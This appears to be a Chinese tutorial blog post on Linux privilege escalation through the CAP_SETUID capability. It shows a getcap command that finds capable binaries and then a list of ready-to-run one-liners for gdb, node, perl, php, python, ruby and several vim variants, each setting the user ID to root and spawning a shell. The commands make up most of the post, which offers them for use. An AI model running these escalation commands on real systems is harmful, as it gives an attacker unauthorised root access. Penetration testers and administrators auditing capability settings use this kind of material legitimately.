本文已参与「新人创作礼」活动,一起开启掘金创作之路
linux2.2之后,产生了Capabilities用于分隔root权限,以便于用户更好,更安全,更精细的管理机器的功能和权限。
具体的相关与capabilities的使用方面知识可以去参考这篇文章Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)
这里仅讨论对提权有帮助的CAP_SETUID标志
操作
首先需要探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2>/dev/null
这样来找到进程
如果此处展现出类似于
/usr/bin/python2.7 = cap_setuid+ep
的字样,此处就有可能存在提权问题
可能产生Capabilities提权的程序有以下这些
gdb,node,perl,php,python,ruby,rview,rvim,view,vim,vimdiff
可以查看一下有没有你查询到的程序
利用方法如下
# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
#node的利用方法
./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
#perl的利用方法
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
#php的利用方法
./php -r "posix_setuid(0); system('/bin/sh');"
#pythond的利用方法
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
#ruby的利用方法
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
#rview的利用方法
./rview -c ':lua os.execute("reset; exec sh")'
#rvim的利用方法
./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#view的利用方法
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#vim的利用方法
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#vimdiff的利用方法
./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
方法参考至GTFOBins
cap命令介绍参考至[Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)](